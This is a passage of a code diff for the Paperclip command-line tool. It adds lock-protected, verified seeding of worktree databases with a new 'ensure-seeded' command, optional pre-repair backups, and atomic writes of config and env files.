WorktreeLocalPaths; + instanceId: string; + seedMode: WorktreeSeedMode; + preserveLiveWork?: boolean; + expectedCompanyId?: string; + seedDatabase: SeedWorktreeDatabase; +}): Promise { + let activePhase: WorktreeSeedPhase = "pending"; + const previous = readWorktreeSeedManifest(input.configPath); + if (previous?.state === "running") { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: previous.phase, + status: "failed", + state: "failed", + message: "The previous seed attempt ended without a terminal result.", + }); + } + startWorktreeSeedAttempt(input.configPath); + + const unregisterInterruption = registerSeedInterruptHandler((signal) => { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: activePhase, + status: "failed", + state: "failed", + message: `Seed interrupted by ${signal} during ${activePhase}.`, + }); + }); + + try { + const details = await input.seedDatabase({ + sourceConfigPath: input.sourceConfigPath, + sourceConfig: input.sourceConfig, + targetConfig: input.targetConfig, + targetPaths: input.targetPaths, + instanceId: input.instanceId, + seedMode: input.seedMode, + preserveLiveWork: input.preserveLiveWork, + expectedCompanyId: input.expectedCompanyId, + onPhase: (phase, status, message) => { + activePhase = phase; + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase, + status, + state: "running", + message, + ...(phase === "snapshot" && status === "started" + ? { snapshotAt: new Date().toISOString() } + : {}), + }); + }, + }); + if (!details.snapshotAt || !details.migrationRevision || !details.validation) { + throw new Error("Seed implementation returned without required validation evidence."); + } + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: "complete", + status: "succeeded", + state: "verified", + snapshotAt: details.snapshotAt, + migrationRevision: details.migrationRevision, + message: + `Verified ${details.validation.companyCount} company record(s), ` + + `${details.validation.issueCount} issue record(s), auth, admin, membership, and migration state.`, + }); + return details; + } catch (error) { + updateWorktreeSeedManifest({ + configPath: input.configPath, + phase: activePhase, + status: "failed", + state: "failed", + // Do not persist the underlying error: database/driver errors may contain + // connection credentials. The CLI still returns the exact error to its caller. + message: formatWorktreeSeedFailureDiagnostic(activePhase, error), + }); + throw error; + } finally { + unregisterInterruption(); + } +} + +export async function ensureWorktreeSeeded( + opts: WorktreeEnsureSeededOptions = {}, + dependencies: { + seedDatabase?: SeedWorktreeDatabase; + inspectLegacyDatabase?: typeof inspectLegacyWorktreeDatabase; + } = {}, +): Promise { + const configPath = resolveConfigPath(opts.config); + const markers = resolveWorktreeSeedMarkerPaths(configPath); + const initialManifest = readWorktreeSeedManifest(configPath); + if (initialManifest?.state === "verified") { + return { seeded: false, reason: "verified_manifest" }; + } + if (!initialManifest && existsSync(markers.complete)) { + return { seeded: false, reason: "complete_marker" }; + } + const legacyPending = !initialManifest && existsSync(markers.pending) + ? readLegacyWorktreeSeedPendingMarker(markers.pending) + : null; + const hasExplicitSource = Boolean(opts.fromConfig || opts.fromDataDir || opts.fromInstance); + const explicitSourceConfigPath = hasExplicitSource + ? resolveSourceConfigPath({ + fromConfig: opts.fromConfig, + fromDataDir: opts.fromDataDir, + fromInstance: opts.fromInstance, + }) + : null; + const registeredBaseWorkspaceCwd = opts.registeredBaseWorkspaceCwd + ?? nonEmpty(process.env.PAPERCLIP_WORKSPACE_BASE_CWD) + ?? null; + if (!initialManifest && !legacyPending && !hasExplicitSource && !registeredBaseWorkspaceCwd) { + if (existsSync(markers.lock)) { + const releaseExistingLock = await acquireWorktreeSeedLock(markers.lock); + await releaseExistingLock(); + } + return { seeded: false, reason: "legacy_unmarked" }; + } + const registeredProjectWorkspaceId = opts.registeredProjectWorkspaceId + ?? nonEmpty(process.env.PAPERCLIP_PROJECT_WORKSPACE_ID) + ?? null; + const expectedCompanyId = opts.expectedCompanyId + ?? nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) + ?? nonEmpty(process.env.PAPERCLIP_COMPANY_ID) + ?? undefined; + if (!explicitSourceConfigPath && registeredBaseWorkspaceCwd && (!registeredProjectWorkspaceId || !expectedCompanyId)) { + throw new Error( + "Managed worktree seed registration is incomplete; project workspace and company bindings are required.", + ); + } + + const targetRoot = path.dirname(path.dirname(configPath)); + const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot }); + const registeredSeedSource = resolveRegisteredWorktreeSeedSource({ + registeredBaseWorkspaceCwd, + explicitSourceConfigPath, + targetConfigPath: configPath, + expectedTargetInstanceId: targetPaths.instanceId, + }); + + if (initialManifest && initialManifest.targetInstanceId !== registeredSeedSource.targetInstanceId) { + throw new Error("Worktree seed manifest target instance does not match the registered target instance."); + } + + // Resolve all authority-bearing paths before creating the lock. The manifest is + // agent-writable diagnostic evidence and never selects the source. A stale source + // diagnostic is replaced under the lock from this server/operator registration. + let canonicalSource = registeredSeedSource; + mkdirSync(path.dirname(markers.lock), { recursive: true }); + const releaseLock = await acquireWorktreeSeedLock(markers.lock); + try { + // These checks deliberately happen under the cross-process lock. A second + // service process waits for the first seed transaction, then observes the + // verified manifest instead of cloning the same database concurrently. + let manifest = readWorktreeSeedManifest(configPath); + if (manifest?.state === "verified") { + return { seeded: false, reason: "verified_manifest" }; + } + if (!manifest && existsSync(markers.pending)) { + const currentLegacyPending = readLegacyWorktreeSeedPendingMarker(markers.pending); + if (currentLegacyPending.sourceConfigPath !== legacyPending?.sourceConfigPath) { + throw new Error("Worktree seed source diagnostics changed while waiting for the seed lock."); + } + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.", + }); + manifest = readWorktreeSeedManifest(configPath); + } + if (!manifest) { + const legacyEvidence = await ( + dependencies.inspectLegacyDatabase ?? inspectLegacyWorktreeDatabase + )(configPath); + if (legacyEvidence) { + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "Validated existing legacy worktree database schema before adoption.", + }); + startWorktreeSeedAttempt(configPath); + updateWorktreeSeedManifest({ + configPath, + phase: "complete", + status: "succeeded", + state: "verified", + snapshotAt: new Date().toISOString(), + migrationRevision: legacyEvidence.migrationRevision, + message: "Adopted an existing legacy worktree database after validating its migration journal and core schema.", + }); + return { seeded: false, reason: "legacy_database" }; + } + + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "No verified seed or compatible legacy database was found; provisioning is required.", + }); + manifest = readWorktreeSeedManifest(configPath); + if (!manifest) { + throw new Error("Failed to create a pending worktree seed manifest."); + } + } + if ( + manifest.source.configPath !== registeredSeedSource.configPath + || manifest.source.instanceId !== registeredSeedSource.instanceId + ) { + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: manifest.targetInstanceId, + seedMode: manifest.seedMode, + diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.", + }); + manifest = readWorktreeSeedManifest(configPath)!; + } + canonicalSource = resolveCanonicalWorktreeSeedSource({ + registeredBaseWorkspaceCwd, + explicitSourceConfigPath, + targetConfigPath: configPath, + expectedTargetInstanceId: targetPaths.instanceId, + manifestSource: manifest.source, + manifestTargetInstanceId: manifest.targetInstanceId, + }); + const sourceConfigPath = canonicalSource.configPath; + + const sourceConfig = readConfig(sourceConfigPath); + if (!sourceConfig) { + throw new Error(`Source config not found at ${sourceConfigPath}.`); + } + const targetConfig = readConfig(configPath); + if (!targetConfig) { + throw new Error(`Target config not found at ${configPath}.`); + } + + const seedDatabase = dependencies.seedDatabase ?? seedWorktreeDatabase; + const details = await runVerifiedWorktreeSeed({ + configPath, + sourceConfigPath, + sourceConfig, + targetConfig, + targetPaths, + instanceId: targetPaths.instanceId, + seedMode: manifest.seedMode, + preserveLiveWork: opts.preserveLiveWork, + expectedCompanyId, + seedDatabase, + }); + return { seeded: true, reason: "seeded", details }; + } finally { + await releaseLock(); + } +} + export function resolveWorktreeSeedBackupEngine(seedPlan: WorktreeSeedPlan): "auto" | "javascript" { return seedPlan.excludedTables.length === 0 && Object.keys(seedPlan.nullifyColumns).length === 0 ? "auto" @@ -1401,25 +2472,60 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { // checkout, and a recursive rmSync here would nuke them all. rmSync(paths.configPath, { force: true }); rmSync(paths.envPath, { force: true }); + const seedMarkers = resolveWorktreeSeedMarkerPaths(paths.configPath); + rmSync(seedMarkers.pending, { force: true }); + rmSync(seedMarkers.complete, { force: true }); rmSync(paths.instanceRoot, { recursive: true, force: true }); } - const claimedPorts = collectClaimedWorktreePorts(paths.homeDir, paths.instanceId, paths.cwd); - const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1); - const serverPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts); - const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1); - const databasePort = await findAvailablePort( - preferredDbPort, - new Set([...claimedPorts.databasePorts, serverPort]), + const { serverPort, databasePort, targetConfig } = await withWorktreePortRegistryLock( + paths.homeDir, + async () => { + const registeredConfigPaths = readWorktreePortRegistry(paths.homeDir); + const claimedPorts = collectClaimedWorktreePorts( + paths.homeDir, + paths.instanceId, + paths.cwd, + registeredConfigPaths, + ); + const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1); + const selectedServerPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts); + const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1); + const selectedDatabasePort = await findAvailablePort( + preferredDbPort, + new Set([...claimedPorts.databasePorts, selectedServerPort]), + ); + const selectedConfig = buildWorktreeConfig({ + sourceConfig, + paths, + serverPort: selectedServerPort, + databasePort: selectedDatabasePort, + }); + + try { + writeConfig(selectedConfig, paths.configPath); + writeWorktreePortRegistry(paths.homeDir, [ + ...registeredConfigPaths, + paths.configPath, + ]); + } catch (error) { + rmSync(paths.configPath, { force: true }); + throw error; + } + + return { + serverPort: selectedServerPort, + databasePort: selectedDatabasePort, + targetConfig: selectedConfig, + }; + }, ); - const targetConfig = buildWorktreeConfig({ - sourceConfig, - paths, - serverPort, - databasePort, + markWorktreeSeedPending({ + configPath: paths.configPath, + sourceConfigPath, + targetInstanceId: instanceId, + seedMode, }); - - writeConfig(targetConfig, paths.configPath); const sourceEnvEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(sourceConfigPath)); const existingAgentJwtSecret = nonEmpty(sourceEnvEntries.PAPERCLIP_AGENT_JWT_SECRET) ?? @@ -1447,8 +2553,11 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { } const spinner = p.spinner(); spinner.start(`Seeding isolated worktree database from source instance (${seedMode})...`); + const markers = resolveWorktreeSeedMarkerPaths(paths.configPath); + const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock); try { - const seeded = await seedWorktreeDatabase({ + const seeded = await runVerifiedWorktreeSeed({ + configPath: paths.configPath, sourceConfigPath, sourceConfig, targetConfig, @@ -1456,6 +2565,7 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { instanceId, seedMode, preserveLiveWork: opts.preserveLiveWork, + seedDatabase: seedWorktreeDatabase, }); seedSummary = seeded.backupSummary; seedExecutionQuarantineSummary = seeded.executionQuarantine; @@ -1465,6 +2575,8 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { } catch (error) { spinner.stop(pc.red("Failed to seed worktree database.")); throw error; + } finally { + await releaseSeedLock(); } } @@ -1511,6 +2623,42 @@ export async function worktreeInitCommand(opts: WorktreeInitOptions): Promise { + printPaperclipCliBanner(); + p.intro(pc.bgCyan(pc.black(" paperclipai worktree ensure-seeded "))); + + const spinner = p.spinner(); + spinner.start("Checking isolated worktree database seed state..."); + try { + const result = await ensureWorktreeSeeded(opts); + if (result.seeded) { + spinner.stop("Seeded isolated worktree database (minimal)."); + } else if (result.reason === "legacy_database") { + spinner.stop("Validated and adopted an existing legacy worktree database."); + } else { + spinner.stop("Worktree database already has a verified seed manifest."); + } + if (result.details) { + p.log.message(pc.dim(`Seed snapshot: ${result.details.backupSummary}`)); + p.log.message( + pc.dim( + `Seed execution quarantine: ${formatSeededWorktreeExecutionQuarantineSummary(result.details.executionQuarantine)}`, + ), + ); + p.log.message(pc.dim(`Paused scheduled routines: ${result.details.pausedScheduledRoutines}`)); + for (const rebound of result.details.reboundWorkspaces) { + p.log.message( + pc.dim(`Rebound workspace ${rebound.name}: ${rebound.fromCwd} -> ${rebound.toCwd}`), + ); + } + } + p.outro(pc.green("Worktree database seed complete.")); + } catch (error) { + spinner.stop(pc.red("Failed to seed worktree database.")); + throw error; + } +} + export async function worktreeMakeCommand(nameArg: string, opts: WorktreeMakeOptions): Promise { printPaperclipCliBanner(); p.intro(pc.bgCyan(pc.black(" paperclipai worktree:make "))); @@ -1919,10 +3067,13 @@ async function closeDb(db: ClosableDb): Promise { await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); } -function resolveCurrentEndpoint(): ResolvedWorktreeEndpoint { +export function resolveCurrentWorktreeEndpoint(): ResolvedWorktreeEndpoint { + const cwd = path.resolve(process.cwd()); + const rootPath = detectGitWorkspaceInfo(cwd)?.root ?? cwd; + const localConfigPath = path.join(rootPath, ".paperclip", "config.json"); return { - rootPath: path.resolve(process.cwd()), - configPath: resolveConfigPath(), + rootPath, + configPath: existsSync(localConfigPath) ? localConfigPath : resolveConfigPath(), label: "current", isCurrent: true, }; @@ -1934,7 +3085,7 @@ function resolveAttachmentLookupStorages(input: { }): ConfiguredStorage[] { const orderedConfigPaths = [ input.sourceEndpoint.configPath, - resolveCurrentEndpoint().configPath, + resolveCurrentWorktreeEndpoint().configPath, input.targetEndpoint.configPath, ...toMergeSourceChoices(process.cwd()) .filter((choice) => choice.hasPaperclipConfig) @@ -2505,7 +3656,7 @@ export async function worktreeListCommand(opts: WorktreeListOptions): Promise { const excluded = excludeWorktreePath ? path.resolve(excludeWorktreePath) : null; - const currentEndpoint = resolveCurrentEndpoint(); + const currentEndpoint = resolveCurrentWorktreeEndpoint(); const choices = toMergeSourceChoices(process.cwd()) .filter((choice) => choice.hasPaperclipConfig || choice.isCurrent) .filter((choice) => path.resolve(choice.worktree) !== excluded) @@ -2996,7 +4147,7 @@ export async function worktreeMergeHistoryCommand(sourceArg: string | undefined, const targetEndpoint = opts.to ? resolveWorktreeEndpointFromSelector(opts.to, { allowCurrent: true }) - : resolveCurrentEndpoint(); + : resolveCurrentWorktreeEndpoint(); const sourceEndpoint = opts.from ? resolveWorktreeEndpointFromSelector(opts.from, { allowCurrent: true }) : sourceArg @@ -3093,6 +4244,34 @@ export async function worktreeMergeHistoryCommand(sourceArg: string | undefined, } } +async function backupWorktreeReseedTarget(input: { + targetConfig: PaperclipConfig; + targetPaths: WorktreeLocalPaths; +}): Promise { + if (input.targetConfig.database.mode !== "embedded-postgres") { + throw new Error("Managed worktree repair requires an embedded PostgreSQL target."); + } + const targetHandle = await ensureEmbeddedPostgres( + input.targetConfig.database.embeddedPostgresDataDir, + input.targetConfig.database.embeddedPostgresPort, + ); + try { + const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`; + await ensurePostgresDatabase(adminConnectionString, "paperclip"); + const result = await runDatabaseBackup({ + connectionString: `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/paperclip`, + backupDir: path.resolve(input.targetPaths.backupDir, "repair"), + retention: { dailyDays: 30, weeklyWeeks: 12, monthlyMonths: 12 }, + filenamePrefix: `${input.targetPaths.instanceId}-pre-repair`, + backupEngine: "auto", + includeMigrationJournal: true, + }); + return formatDatabaseBackupResult(result); + } finally { + if (targetHandle.startedByThisProcess) await targetHandle.stop(); + } +} + async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const seedMode = opts.seedMode ?? "full"; if (!isWorktreeSeedMode(seedMode)) { @@ -3101,7 +4280,7 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const targetEndpoint = opts.to ? resolveWorktreeEndpointFromSelector(opts.to, { allowCurrent: true }) - : resolveCurrentEndpoint(); + : resolveCurrentWorktreeEndpoint(); const source = resolveWorktreeReseedSource(opts); if (path.resolve(source.configPath) === path.resolve(targetEndpoint.configPath)) { @@ -3148,8 +4327,23 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const spinner = p.spinner(); spinner.start(`Reseeding ${targetEndpoint.label} from ${source.label} (${seedMode})...`); + const markers = resolveWorktreeSeedMarkerPaths(targetEndpoint.configPath); + mkdirSync(path.dirname(markers.lock), { recursive: true }); + const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock); try { - const seeded = await seedWorktreeDatabase({ + let targetBackupSummary: string | null = null; + if (opts.backupTarget) { + targetBackupSummary = await backupWorktreeReseedTarget({ targetConfig, targetPaths }); + p.log.message(pc.dim(`Recoverable pre-repair backup: ${targetBackupSummary}`)); + } + markWorktreeSeedPending({ + configPath: targetEndpoint.configPath, + sourceConfigPath: source.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode, + }); + const seeded = await runVerifiedWorktreeSeed({ + configPath: targetEndpoint.configPath, sourceConfigPath: source.configPath, sourceConfig, targetConfig, @@ -3157,6 +4351,8 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { instanceId: targetPaths.instanceId, seedMode, preserveLiveWork: opts.preserveLiveWork, + expectedCompanyId: nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) ?? undefined, + seedDatabase: seedWorktreeDatabase, }); spinner.stop(`Reseeded ${targetEndpoint.label} (${seedMode}).`); p.log.message(pc.dim(`Source: ${source.configPath}`)); @@ -3179,6 +4375,8 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { } catch (error) { spinner.stop(pc.red("Failed to reseed worktree database.")); throw error; + } finally { + await releaseSeedLock(); } } @@ -3290,7 +4488,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--server-port ", "Preferred server port", (value) => Number(value)) .option("--db-port ", "Preferred embedded Postgres port", (value) => Number(value)) .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Skip database seeding from the source instance") .option("--force", "Replace existing repo-local config and isolated instance data", false) .action(worktreeMakeCommand); @@ -3307,7 +4505,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--server-port ", "Preferred server port", (value) => Number(value)) .option("--db-port ", "Preferred embedded Postgres port", (value) => Number(value)) .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Skip database seeding from the source instance") .option("--force", "Replace existing repo-local config and isolated instance data", false) .action(worktreeInitCommand); @@ -3319,6 +4517,16 @@ export function registerWorktreeCommands(program: Command): void { .option("--json", "Print JSON instead of shell exports") .action(worktreeEnvCommand); + worktree + .command("ensure-seeded") + .description("Seed a seed-pending worktree database exactly once from its source instance") + .option("-c, --config ", "Path to the target worktree config file") + .option("--from-config ", "Source config.json to seed from (defaults to the seed-pending marker)") + .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") + .option("--from-instance ", "Source instance id when deriving the source config") + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services", false) + .action(worktreeEnsureSeededCommand); + program .command("worktree:list") .description("List git worktrees visible from this repo and whether they look like Paperclip worktrees") @@ -3347,9 +4555,10 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config") .option("--seed-mode ", "Seed profile: minimal or full (default: full)", "full") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--yes", "Skip the destructive confirmation prompt", false) .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false) + .option("--backup-target", "Retain a recoverable full backup of the isolated target DB before reseeding", false) .action(worktreeReseedCommand); worktree @@ -3361,7 +4570,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config (default: default)") .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Repair metadata only and skip reseeding when bootstrapping a missing worktree config", false) .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false) .action(worktreeRepairCommand); diff --git a/cli/src/config/env.ts b/cli/src/config/env.ts index a7266ea241c..6787ee190a8 100644 --- a/cli/src/config/env.ts +++ b/cli/src/config/env.ts @@ -2,9 +2,11 @@ import fs from "node:fs"; import path from "node:path"; import { randomBytes } from "node:crypto"; import { config as loadDotenv, parse as parseEnvFileContents } from "dotenv"; +import { updateEnvFileContents, writeEnvFileAtomicallyIfChanged } from "@paperclipai/shared/env-file"; import { resolveConfigPath } from "./store.js"; const JWT_SECRET_ENV_KEY = "PAPERCLIP_AGENT_JWT_SECRET"; +const PAPERCLIP_OWNED_ENV_KEY_PATTERN = /^PAPERCLIP_[A-Z0-9_]+$/; function resolveEnvFilePath(configPath?: string) { return path.resolve(path.dirname(resolveConfigPath(configPath)), ".env"); } @@ -22,21 +24,20 @@ function parseEnvFile(contents: string) { } } -function formatEnvValue(value: string): string { - if (/^[A-Za-z0-9_./:@-]+$/.test(value)) { - return value; - } - return JSON.stringify(value); -} - -function renderEnvFile(entries: Record) { - const lines = [ +function emptyEnvFileContents() { + return [ "# Paperclip environment variables", "# Generated by Paperclip CLI commands", - ...Object.entries(entries).map(([key, value]) => `${key}=${formatEnvValue(value)}`), "", - ]; - return lines.join("\n"); + ].join("\n"); +} + +function paperclipOwnedEntries(entries: Record): Record { + return Object.fromEntries( + Object.entries(entries).filter( + ([key, value]) => PAPERCLIP_OWNED_ENV_KEY_PATTERN.test(key) && value.trim().length > 0, + ), + ); } export function resolvePaperclipEnvFile(configPath?: string): string { @@ -102,11 +103,11 @@ export function readPaperclipEnvEntries(filePath = resolveEnvFilePath()): Record } export function writePaperclipEnvEntries(entries: Record, filePath = resolveEnvFilePath()): void { - const dir = path.dirname(filePath); - fs.mkdirSync(dir, { recursive: true }); - fs.writeFileSync(filePath, renderEnvFile(entries), { - mode: 0o600, + const previousContents = fs.existsSync(filePath) ? fs.readFileSync(filePath, "utf8") : null; + const nextContents = updateEnvFileContents(previousContents ?? emptyEnvFileContents(), paperclipOwnedEntries(entries), { + valueEncoding: "minimal", }); + writeEnvFileAtomicallyIfChanged(filePath, previousContents, nextContents); } export function mergePaperclipEnvEntries( @@ -114,12 +115,11 @@ export function mergePaperclipEnvEntries( filePath = resolveEnvFilePath(), ): Record { const current = readPaperclipEnvEntries(filePath); + const managedEntries = paperclipOwnedEntries(entries); const next = { ...current, - ...Object.fromEntries( - Object.entries(entries).filter(([, value]) => typeof value === "string" && value.trim().length > 0), - ), + ...managedEntries, }; - writePaperclipEnvEntries(next, filePath); + writePaperclipEnvEntries(managedEntries, filePath); return next; } diff --git a/cli/src/config/schema.ts b/cli/src/config/schema.ts index 65ddeab7334..799d8ba0d75 100644 --- a/cli/src/config/schema.ts +++ b/cli/src/config/schema.ts @@ -8,11 +8,15 @@ export { serverConfigSchema, authConfigSchema, telemetryConfigSchema, + updatesConfigSchema, storageConfigSchema, storageLocalDiskConfigSchema, storageS3ConfigSchema, secretsConfigSchema, secretsLocalEncryptedConfigSchema, + mergePaperclipConfig, + findPaperclipConfigKeyWarnings, + type ConfigKeyWarning, type PaperclipConfig, type LlmConfig, type DatabaseBackupConfig, @@ -27,4 +31,5 @@ export { type SecretsConfig, type SecretsLocalEncryptedConfig, type ConfigMeta, + type UpdatesConfig, } from "../../../packages/shared/src/config-schema.js"; diff --git a/cli/src/config/store.ts b/cli/src/config/store.ts index 8dddc777064..b1ab0229d17 100644 --- a/cli/src/config/store.ts +++ b/cli/src/config/store.ts @@ -1,6 +1,11 @@ import fs from "node:fs"; import path from "node:path"; -import { paperclipConfigSchema, type PaperclipConfig } from "./schema.js"; +import { isDeepStrictEqual } from "node:util"; +import { + mergePaperclipConfig, + paperclipConfigSchema, + type PaperclipConfig, +} from "./schema.js"; import { resolveDefaultConfigPath, resolvePaperclipInstanceId, @@ -95,24 +100,132 @@ export function readConfig(configPath?: string): PaperclipConfig | null { return parsed.data; } +function effectiveConfig(config: PaperclipConfig): Record { + const meta = { ...config.$meta } as Record; + delete meta.updatedAt; + delete meta.source; + return { + ...config, + $meta: meta, + }; +} + +function syncDirectory(directoryPath: string): void { + let directoryDescriptor: number | null = null; + try { + directoryDescriptor = fs.openSync(directoryPath, "r"); + fs.fsyncSync(directoryDescriptor); + } catch (error) { + const code = error instanceof Error && "code" in error ? error.code : null; + if (process.platform !== "win32" || !["EACCES", "EINVAL", "EISDIR", "ENOTSUP", "EPERM"].includes(String(code))) { + throw error; + } + } finally { + if (directoryDescriptor !== null) fs.closeSync(directoryDescriptor); + } +} + +function durableCopyFile(sourcePath: string, destinationPath: string, flags = 0): void { + fs.copyFileSync(sourcePath, destinationPath, flags); + fs.chmodSync(destinationPath, 0o600); + + const backupDescriptor = fs.openSync(destinationPath, "r"); + try { + fs.fsyncSync(backupDescriptor); + } finally { + fs.closeSync(backupDescriptor); + } + syncDirectory(path.dirname(destinationPath)); +} + +function atomicWriteFile(filePath: string, contents: string): void { + let attempt = 0; + + while (true) { + const temporaryPath = `${filePath}.tmp-${process.pid}-${attempt}`; + attempt += 1; + let fileDescriptor: number | null = null; + try { + fileDescriptor = fs.openSync(temporaryPath, "wx", 0o600); + fs.writeFileSync(fileDescriptor, contents, "utf8"); + fs.fsyncSync(fileDescriptor); + fs.closeSync(fileDescriptor); + fileDescriptor = null; + fs.renameSync(temporaryPath, filePath); + syncDirectory(path.dirname(filePath)); + return; + } catch (error) { + if (fileDescriptor !== null) fs.closeSync(fileDescriptor); + fs.rmSync(temporaryPath, { force: true }); + const code = error instanceof Error && "code" in error ? error.code : null; + if (code === "EEXIST") continue; + throw error; + } + } +} + +export function backupInvalidConfig(configPath?: string): string { + const filePath = resolveConfigPath(configPath); + if (!fs.existsSync(filePath)) { + throw new Error(`Cannot back up missing config at ${filePath}`); + } + + for (let suffix = 1; ; suffix += 1) { + const backupPath = `${filePath}.invalid-${suffix}`; + try { + durableCopyFile(filePath, backupPath, fs.constants.COPYFILE_EXCL); + return backupPath; + } catch (error) { + const code = error instanceof Error && "code" in error ? error.code : null; + if (code === "EEXIST") continue; + throw error; + } + } +} + export function writeConfig( config: PaperclipConfig, configPath?: string, -): void { + options: { invalidBackupPath?: string } = {}, +): boolean { const filePath = resolveConfigPath(configPath); const dir = path.dirname(filePath); fs.mkdirSync(dir, { recursive: true }); + let nextConfig = paperclipConfigSchema.parse(config); + if (fs.existsSync(filePath)) { + try { + const source = paperclipConfigSchema.parse(migrateLegacyConfig(parseJson(filePath))); + nextConfig = paperclipConfigSchema.parse(mergePaperclipConfig(source, nextConfig)); + if (isDeepStrictEqual(effectiveConfig(source), effectiveConfig(nextConfig))) { + return false; + } + } catch (error) { + const invalidBackupPath = options.invalidBackupPath; + if (!invalidBackupPath) { + throw new Error( + `Refusing to overwrite invalid config at ${filePath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + if ( + !fs.existsSync(invalidBackupPath) || + !fs.readFileSync(filePath).equals(fs.readFileSync(invalidBackupPath)) + ) { + throw new Error( + `Refusing to overwrite ${filePath} because it changed after the invalid backup was created`, + ); + } + } + } + // Backup existing config before overwriting if (fs.existsSync(filePath)) { const backupPath = filePath + ".backup"; - fs.copyFileSync(filePath, backupPath); - fs.chmodSync(backupPath, 0o600); + durableCopyFile(filePath, backupPath); } - fs.writeFileSync(filePath, JSON.stringify(config, null, 2) + "\n", { - mode: 0o600, - }); + atomicWriteFile(filePath, JSON.stringify(nextConfig, null, 2) + "\n"); + return true; } export function configExists(configPath?: string): boolean { diff --git a/cli/src/index.ts b/cli/src/index.ts index c33092e5e70..b7dc8637d52 100644 --- a/cli/src/index.ts +++ b/cli/src/index.ts @@ -1,7 +1,9 @@ import { Command } from "commander"; +import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version"; import { onboard } from "./commands/onboard.js"; import { doctor } from "./commands/doctor.js"; import { envCommand } from "./commands/env.js"; +import { channelsCommand } from "./commands/channels.js"; import { configure } from "./commands/configure.js"; import { addAllowedHostname } from "./commands/allowed-hostname.js"; import { heartbeatRun } from "./commands/heartbeat-run.js"; @@ -23,7 +25,6 @@ import { registerRoutineCommands } from "./commands/routines.js"; import { registerPipelineCommands } from "./commands/pipelines.js"; import { registerFeedbackCommands } from "./commands/client/feedback.js"; import { registerSecretCommands } from "./commands/client/secrets.js"; -import { registerCloudCommands } from "./commands/client/cloud.js"; import { registerSkillsCommands } from "./commands/client/skills.js"; import { registerTeamCommands } from "./commands/client/teams.js"; import { applyDataDirOverride, type DataDirOptionLike } from "./config/data-dir.js"; @@ -44,16 +45,52 @@ import { registerAdapterCommands } from "./commands/client/adapter.js"; import { registerAssetCommands } from "./commands/client/asset.js"; import { registerSkillCommands } from "./commands/client/skill.js"; import { cliVersion } from "./version.js"; +import { installCommand } from 